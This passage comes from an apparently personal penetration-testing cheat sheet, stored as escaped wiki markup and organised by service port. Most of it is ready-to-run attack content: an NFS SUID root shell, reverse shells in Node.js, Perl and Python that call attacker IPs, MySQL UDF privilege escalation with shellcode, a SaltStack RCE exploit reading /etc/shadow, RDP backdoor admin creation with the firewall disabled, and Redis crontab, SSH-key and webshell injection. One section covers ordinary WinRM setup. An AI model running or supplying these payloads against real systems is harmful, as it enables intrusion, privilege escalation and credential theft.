mount -t nfs 127.0.0.1:/srv/pelota my_share&lt;br /&gt;
cd my_share&lt;br /&gt;
cat &amp;gt; shell.c&lt;br /&gt;
int main(){&lt;br /&gt;
  setuid(0);&lt;br /&gt;
  setgid(0);&lt;br /&gt;
  system(&amp;quot;/bin/bash&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
EOF&lt;br /&gt;
gcc shell.c -o shell&lt;br /&gt;
chmod u+s shell&lt;br /&gt;
# Reverse connection - Run the ssh command on target&lt;br /&gt;
# Beware that this means target will access attacker through ssh. Not as safe as forward connection.&lt;br /&gt;
ssh -N -R 192.168.119.176:2221:127.0.0.1:2049 aghanim@192.168.119.176&lt;br /&gt;
mount -v -t nfs -o port=2221,tcp localhost:/srv/Share mount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3000 - NodeJs ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell&lt;br /&gt;
# The Javascript code below is a Node.js reverse shell.&lt;br /&gt;
# Remember to change the IP address and PORT with the nc you are running.&lt;br /&gt;
(function(){&lt;br /&gt;
    var net = require(&amp;quot;net&amp;quot;),&lt;br /&gt;
        cp = require(&amp;quot;child_process&amp;quot;),&lt;br /&gt;
        sh = cp.spawn(&amp;quot;/bin/sh&amp;quot;, []);&lt;br /&gt;
    var client = new net.Socket();&lt;br /&gt;
    client.connect(8080, &amp;quot;192.168.33.1&amp;quot;, function(){&lt;br /&gt;
        client.pipe(sh.stdin);&lt;br /&gt;
        sh.stdout.pipe(client);&lt;br /&gt;
        sh.stderr.pipe(client);&lt;br /&gt;
    });&lt;br /&gt;
    return /a/; // Prevents the Node.js application form crashing&lt;br /&gt;
})();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3306 - MySQL/MariaDB ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf&lt;br /&gt;
# User-defined function (UDF)&lt;br /&gt;
# If you can login as root you can create a malicious functions to run commands.&lt;br /&gt;
https://www.exploit-db.com/exploits/1518&lt;br /&gt;
# You can also compile it on attacker if target dont have gcc. Use --static.&lt;br /&gt;
# Check if secure_file_priv. If empty means disabled&lt;br /&gt;
show variables like &#039;%secure_file_priv%&#039;;&lt;br /&gt;
# Find plugin path. Add the path on step file (dumpfile)&lt;br /&gt;
show variables like &#039;%plugin%&#039;;&lt;br /&gt;
$ gcc -g -c raptor_udf2.c&lt;br /&gt;
 * $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc&lt;br /&gt;
# Can also transfer exploit raptor_udf2.so with hex.&lt;br /&gt;
## xxd -p raptor_udf2.so | tr -d &#039;\n&#039; &amp;gt; raptor_udf2.so.hex&lt;br /&gt;
 * $ mysql -u root -p&lt;br /&gt;
 * Enter password:&lt;br /&gt;
 * [...]&lt;br /&gt;
# Set variable for shellcode&lt;br /&gt;
## set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;&lt;br /&gt;
 * mysql&amp;gt; use mysql;&lt;br /&gt;
 * mysql&amp;gt; create table foo(line blob);&lt;br /&gt;
 * mysql&amp;gt; insert into foo values(load_file(&#039;/home/raptor/raptor_udf2.so&#039;));&lt;br /&gt;
# Output shellcode to file on target&lt;br /&gt;
## select binary @shell into dumpfile &#039;/usr/lib/raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; select * from foo into dumpfile &#039;/usr/lib/raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; create function do_system returns integer soname &#039;raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; select * from mysql.func;&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * | name      | ret | dl             | type     |&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * | do_system |   2 | raptor_udf2.so | function |&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * mysql&amp;gt; select do_system(&#039;id &amp;gt; /tmp/out; chown raptor.raptor /tmp/out&#039;);&lt;br /&gt;
# OR&lt;br /&gt;
select do_system(&#039;cp /bin/bash /tmp/out; chmod +xs /tmp/out&#039;);&lt;br /&gt;
 * mysql&amp;gt; \! sh&lt;br /&gt;
 * sh-2.05b$ cat /tmp/out&lt;br /&gt;
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)&lt;br /&gt;
 * [...]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation method 2 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/mysqludf/lib_mysqludf_sys&lt;br /&gt;
# Compiling the above will sometimes not work and you have to do some editing. See the below commands to fix issue and compile correct.&lt;br /&gt;
xxd -p lib_mysqludf_sys.so| tr -d &#039;\n&#039; &amp;gt; lib_mysqludf_sys.so.hex&lt;br /&gt;
cat lib_mysqludf_sys.so.hex |  xclip -selection clipboard&lt;br /&gt;
MariaDB [(none)]&amp;gt; select @@plugin_dir&lt;br /&gt;
MariaDB [(none)]&amp;gt;  set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select binary @shell into dumpfile @@plugin_dir; # Write out the plugin dir like this &#039;/usr/lib/lib_mysqludf_sys.so&lt;br /&gt;
MariaDB [(none)]&amp;gt; create function sys_exec returns int soname &#039;udf_sys_exec.so&#039;;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select * from mysql.func where name=&#039;sys_exec&#039;;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select sys_exec(&#039;cp /bin/sh /tmp/; chown root:root /tmp/sh; chmod +s /tmp/sh&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone https://github.com/mysqludf/lib_mysqludf_sys.git&lt;br /&gt;
cd lib_mysqludf_sys&lt;br /&gt;
rm lib_mysqludf_sys.so&lt;br /&gt;
sed -i &#039;s|$(LIBDIR)|.|g&#039; Makefile&lt;br /&gt;
sed -i &#039;s|-Wall -I/usr/include/mysql|-Wall -I/usr/include/mariadb/server -I/usr/include/mariadb/ -I/usr/include/mariadb/server/private|g&#039; Makefile&lt;br /&gt;
ex lib_mysqludf_sys.c &amp;lt;&amp;lt;&amp;lt;&amp;quot;57,62m27|wq&amp;quot;&lt;br /&gt;
sudo apt install libmariadbd-dev&lt;br /&gt;
make&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3389 - RDP ==&lt;br /&gt;
&lt;br /&gt;
=== Add user and enable RDP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/xapax/oscp/blob/master/templates/windows-template.md&lt;br /&gt;
net user aghanim Password123 /add&lt;br /&gt;
net localgroup Administrators aghanim /add&lt;br /&gt;
net localgroup &amp;quot;Remote Desktop Users&amp;quot; aghanim /ADD&lt;br /&gt;
# Enable RDP&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
Turn firewall off&lt;br /&gt;
netsh firewall set opmode disable&lt;br /&gt;
Or like this&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
If you get this error:&lt;br /&gt;
&amp;quot;ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?&lt;br /&gt;
Failed to connect, CredSSP required by server.&amp;quot;&amp;quot;&lt;br /&gt;
Add this reg key:&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&amp;quot; /v UserAuthentication /t REG_DWORD /&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ThinVNC ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/47519&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 4505, 4506 - zmtp ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# RCE in Satlstack 3000 ZeroMQ CVE-2020-11651 and CVE-2020-11652 in&lt;br /&gt;
# https://github.com/jasperla/CVE-2020-11651-poc&lt;br /&gt;
python3 exploit.py --master 192.168.115.130 --exec &amp;quot;nc 127.0.0.1 4444 -e /bin/sh&amp;quot;&lt;br /&gt;
python3 exploit.py --master 192.168.115.130 -r /etc/shadow&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5432, 5433 - PostgreSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
psql -U  # Open psql console with user&lt;br /&gt;
psql -h  -U  -d  # Remote connection&lt;br /&gt;
psql -h  -p  -U  -W   # Remote connection&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
psql -h localhost -d  -U  #Password will be prompted&lt;br /&gt;
\list # List databases&lt;br /&gt;
\c  # use the database&lt;br /&gt;
\d # List tables&lt;br /&gt;
\du+ # Get users roles&lt;br /&gt;
#Read a file&lt;br /&gt;
CREATE TABLE demo(t text);&lt;br /&gt;
COPY demo from &#039;[FILENAME]&#039;;&lt;br /&gt;
SELECT * FROM demo;&lt;br /&gt;
#Write ascii to a file (copy to cannot copy binary data)&lt;br /&gt;
COPY (select convert_from(decode(&#039;&#039;,&#039;base64&#039;),&#039;utf-8&#039;)) to &#039;C:\\some\\interesting\path.cmd&#039;;&lt;br /&gt;
#List databases&lt;br /&gt;
SELECT datname FROM pg_database;&lt;br /&gt;
#Read credentials (usernames + pwd hash)&lt;br /&gt;
SELECT usename, passwd from pg_shadow;&lt;br /&gt;
#Check if current user is superiser&lt;br /&gt;
SELECT current_setting(&#039;is_superuser&#039;); #If response is &amp;quot;on&amp;quot; then true, if &amp;quot;off&amp;quot; then false&lt;br /&gt;
#Check if plpgsql is enabled&lt;br /&gt;
SELECT lanname,lanacl FROM pg_language WHERE lanname = &#039;plpgsql&#039;&lt;br /&gt;
#Change password&lt;br /&gt;
ALTER USER user_name WITH PASSWORD &#039;new_password&#039;;&lt;br /&gt;
#Check users privileges over a table (pg_shadow on this example)&lt;br /&gt;
SELECT grantee, privilege_type&lt;br /&gt;
FROM information_schema.role_table_grants&lt;br /&gt;
WHERE table_name=&#039;pg_shadow&#039;&lt;br /&gt;
#Get users roles&lt;br /&gt;
SELECT&lt;br /&gt;
      r.rolname,&lt;br /&gt;
      r.rolsuper,&lt;br /&gt;
      r.rolinherit,&lt;br /&gt;
      r.rolcreaterole,&lt;br /&gt;
      r.rolcreatedb,&lt;br /&gt;
      r.rolcanlogin,&lt;br /&gt;
      r.rolconnlimit, r.rolvaliduntil,&lt;br /&gt;
  ARRAY(SELECT b.rolname&lt;br /&gt;
        FROM pg_catalog.pg_auth_members m&lt;br /&gt;
        JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)&lt;br /&gt;
        WHERE m.member = r.oid) as memberof&lt;br /&gt;
, r.rolreplication&lt;br /&gt;
FROM pg_catalog.pg_roles r&lt;br /&gt;
ORDER BY 1;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== RCE ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection#rce&lt;br /&gt;
#PoC&lt;br /&gt;
DROP TABLE IF EXISTS cmd_exec;&lt;br /&gt;
CREATE TABLE cmd_exec(cmd_output text);&lt;br /&gt;
COPY cmd_exec FROM PROGRAM &#039;id&#039;;&lt;br /&gt;
SELECT * FROM cmd_exec;&lt;br /&gt;
&lt;br /&gt;
postgres=# COPY cmd_exec FROM PROGRAM &#039;perl -MIO -e &#039;&#039;$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,&amp;quot;192.168.49.115:80&amp;quot;);STDIN-&amp;gt;fdopen($c,r);$~-&amp;gt;fdopen($c,w);system$_ while&amp;lt;&amp;gt;;;&lt;br /&gt;
COPY 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5800, 5801, 5900, 5901 - VNC ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5985, 5986 - WinRM ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
The easiest way to connect to WinRM using C# is to use &#039;&#039;&#039;WSMAN Automation&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
Reference &amp;lt;code&amp;gt;wsmauto.dll&amp;lt;/code&amp;gt; from &amp;lt;code&amp;gt;Windows\System32&amp;lt;/code&amp;gt; in your project.&lt;br /&gt;
&lt;br /&gt;
The following code should work:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
IWSMan wsman = new WSManClass();&lt;br /&gt;
IWSManConnectionOptions options = (IWSManConnectionOptions)wsman.CreateConnectionOptions();&lt;br /&gt;
if (options != null)&lt;br /&gt;
{&lt;br /&gt;
    try&lt;br /&gt;
    {&lt;br /&gt;
        // options.UserName = ???;&lt;br /&gt;
        // options.Password = ???;&lt;br /&gt;
        IWSManSession session = (IWSManSession)wsman.CreateSession(&amp;quot;http://&amp;lt;your_server_name&amp;gt;/wsman&amp;quot;, 0, options);&lt;br /&gt;
        if (session != null)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                // retrieve the Win32_Service xml representation&lt;br /&gt;
                var reply = session.Get(&amp;quot;http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=winmgmt&amp;quot;, 0);&lt;br /&gt;
                // parse xml and dump service name and description&lt;br /&gt;
                var doc = new XmlDocument();&lt;br /&gt;
                doc.LoadXml(reply);&lt;br /&gt;
                foreach (var elementName in new string[] { &amp;quot;p:Caption&amp;quot;, &amp;quot;p:Description&amp;quot; })&lt;br /&gt;
                {&lt;br /&gt;
                    var node = doc.GetElementsByTagName(elementName)[0];&lt;br /&gt;
                    if (node != null) Console.WriteLine(node.InnerText);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            finally&lt;br /&gt;
            {&lt;br /&gt;
                Marshal.ReleaseComObject(session);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    finally&lt;br /&gt;
    {&lt;br /&gt;
        Marshal.ReleaseComObject(options);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Source:&lt;br /&gt;
&lt;br /&gt;
* [https://stackoverflow.com/questions/3771920/how-to-access-winrm-in-c-sharp stackoverflow]&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
=== WinRM development and lab setup === &lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;WSMan COM API&#039;&#039;&#039; (&amp;lt;code&amp;gt;WSManClass&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;IWSManSession&amp;lt;/code&amp;gt;) fire-and-forget command execution via &amp;lt;code&amp;gt;Win32_Process&amp;lt;/code&amp;gt;. Does not return stdout.&lt;br /&gt;
* &#039;&#039;&#039;PowerShell Runspace API&#039;&#039;&#039; (&amp;lt;code&amp;gt;WSManConnectionInfo&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;RunspaceFactory&amp;lt;/code&amp;gt;) Requires &amp;lt;code&amp;gt;System.Management.Automation&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The steps below needs to be run &#039;&#039;&#039;on the machine you want to connect to&#039;&#039;&#039;. WinRM needs to be configured to accept incoming connections, allow unencrypted HTTP traffic, and accept Basic authentication (required for workgroup/local accounts).&lt;br /&gt;
&lt;br /&gt;
The stepsbelow is needed if you are connecting to a machine that is not part of a domain. When its part of a AD domain it will automatically use Kerberos. The DC will act as the trusted third party to verify identity. No need to add to TrustedHosts, or set Basic auth and AllowUnencrypted. It is encrypted via Kerberos by default. &lt;br /&gt;
&lt;br /&gt;
1. Set Network Profile to Private &lt;br /&gt;
&lt;br /&gt;
WinRM will refuse to configure its firewall exception if the active network adapter is set to &amp;quot;Public&amp;quot;. This is a Windows security policy. Change it to Private first.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Find the interface index&lt;br /&gt;
Get-NetConnectionProfile&lt;br /&gt;
&lt;br /&gt;
# Set it to Private&lt;br /&gt;
Set-NetConnectionProfile -InterfaceIndex &amp;lt;INDEX&amp;gt; -NetworkCategory Private&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Run quickconfig&lt;br /&gt;
&lt;br /&gt;
starts the WinRM service, sets it to auto-start, and creates the firewall exception. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
winrm quickconfig&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Enable Basic Auth + Unencrypted Traffic&lt;br /&gt;
&lt;br /&gt;
By default WinRM requires encrypted transport (HTTPS). Since we&#039;re using plain HTTP (port 5985), we need to allow unencrypted traffic. Basic auth is also disabled by default so it needs to be on for local/workgroup accounts.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
winrm set winrm/config/service &#039;@{AllowUnencrypted=&amp;quot;true&amp;quot;}&#039;&lt;br /&gt;
winrm set winrm/config/service/auth &#039;@{Basic=&amp;quot;true&amp;quot;}&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Registry if the above failes:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Service&amp;quot; `&lt;br /&gt;
    -Name &amp;quot;allow_unencrypted&amp;quot; -Value 1&lt;br /&gt;
Restart-Service WinRM&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify: &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
winrm get winrm/config/service&lt;br /&gt;
# Look for:&lt;br /&gt;
# AllowUnencrypted = true&lt;br /&gt;
# Auth/Basic       = true&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now on your local machine that is &#039;&#039;&#039;connecting to the target&#039;&#039;&#039;. &lt;br /&gt;
&lt;br /&gt;
1. Enable WinRM&lt;br /&gt;
&lt;br /&gt;
WinRM needs to be running locally to manage client settings like TrustedHosts, even if you&#039;re only using it as a client and not accepting inbound connections.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Start-Service WinRM&lt;br /&gt;
Set-Service WinRM -StartupType Automatic&lt;br /&gt;
winrm quickconfig&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Add to TrustedHosts&lt;br /&gt;
&lt;br /&gt;
When connecting to a machine that isn&#039;t domain-joined (workgroup), Windows doesn&#039;t have a way to verify its identity via Kerberos. TrustedHosts tells your WinRM client &amp;quot;trust this IP even without domain auth&amp;quot;. Without this, every connection attempt throws a &amp;lt;code&amp;gt;PSRemotingTransportException&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Trust a specific target&lt;br /&gt;
Set-Item WSMan:\localhost\Client\TrustedHosts -Value &amp;quot;10.x.x.x&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
# Lab only — trust everything &lt;br /&gt;
Set-Item WSMan:\localhost\Client\TrustedHosts -Value &amp;quot;*&amp;quot; -Force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Allow Unencrypted + Basic on Client Side&lt;br /&gt;
&lt;br /&gt;
Both sides need to allow unencrypted traffic and Basic auth, otherwise the connection is rejected before it even reaches the target.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
winrm set winrm/config/client &#039;@{AllowUnencrypted=&amp;quot;true&amp;quot;}&#039;&lt;br /&gt;
winrm set winrm/config/client/auth &#039;@{Basic=&amp;quot;true&amp;quot;}&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
CLEANUP:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Set-Item WSMan:\localhost\Client\TrustedHosts -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
Stop-Service WinRM&lt;br /&gt;
Set-Service WinRM -StartupType Disabled&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Source:&lt;br /&gt;
[https://woshub.com/using-psremoting-winrm-non-domain-workgroup/ Using psremote winrm non domain joined workgroup]&lt;br /&gt;
&lt;br /&gt;
== 6370 - Redis ==&lt;br /&gt;
&lt;br /&gt;
=== Commands &amp;amp; info ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Service file&lt;br /&gt;
/etc/systemd/system/redis.service&lt;br /&gt;
# Config file&lt;br /&gt;
installdir/redis/etc/redis. conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crontab ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@Urahara:~# echo -e &amp;quot;\n\n*/1 * * * * /usr/bin/python -c &#039;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\&amp;quot;10.85.0.53\&amp;quot;,8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\&amp;quot;/bin/sh\&amp;quot;,\&amp;quot;-i\&amp;quot;]);&#039;\n\n&amp;quot;|redis-cli -h 10.85.0.52 -x set 1&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 save&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dumping database ===&lt;br /&gt;
&lt;br /&gt;
=== Load module ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See PG Sybaris writeup&lt;br /&gt;
# https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#load-redis-module&lt;br /&gt;
# Following the instructions from https://github.com/n0b0dyCN/RedisModules-ExecuteCommand you can compile a redis module to execute arbitrary commands.&lt;br /&gt;
# Then you need some way to upload the compiled module&lt;br /&gt;
# Load the uploaded module at runtime with MODULE LOAD /path/to/mymodule.so&lt;br /&gt;
# List loaded modules to check it was correctly loaded: MODULE LIST&lt;br /&gt;
# Execute commands:&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.exec &amp;quot;id&amp;quot;&lt;br /&gt;
&amp;quot;uid=0(root) gid=0(root) groups=0(root)\n&amp;quot;&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.exec &amp;quot;whoami&amp;quot;&lt;br /&gt;
&amp;quot;root\n&amp;quot;&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.rev 127.0.0.1 9999&lt;br /&gt;
Unload the module whenever you want: MODULE UNLOAD mymodule&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Redis-rogue server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# A exploit for Redis(&amp;lt;=5.0.5) RCE&lt;br /&gt;
# https://github.com/n0b0dyCN/redis-rogue-server&lt;br /&gt;
# https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf&lt;br /&gt;
python3 redis-rogue-server.py --rhost=192.168.143.69 --rport=6379 --lhost=192.168.49.143 --lport 6379&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#ssh Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1 Generate a ssh public-private key pair on your pc: ssh-keygen -t rsa&lt;br /&gt;
# 2 Write the public key to a file : (echo -e &amp;quot;\n\n&amp;quot;; cat ~/id_rsa.pub; echo -e &amp;quot;\n\n&amp;quot;) &amp;gt; spaced_key.txt&lt;br /&gt;
# 3 Import the file into redis : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key&lt;br /&gt;
# 4 Save the public key to the authorized_keys file on redis server:&lt;br /&gt;
# 4&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dir /var/lib/redis/.ssh&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dbfilename &amp;quot;authorized_keys&amp;quot;&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; save&lt;br /&gt;
OK&lt;br /&gt;
# Finally, you can ssh to the redis server with private key : ssh -i id_rsa redis@10.85.0.52&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Webshell ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#webshell Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# You must know the path of the Web site folder.&lt;br /&gt;
# Try also /var/www/html&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dir /usr/share/nginx/html&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dbfilename redis.php&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; set test &amp;quot;&amp;quot;&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; save&lt;br /&gt;
OK&lt;br /&gt;
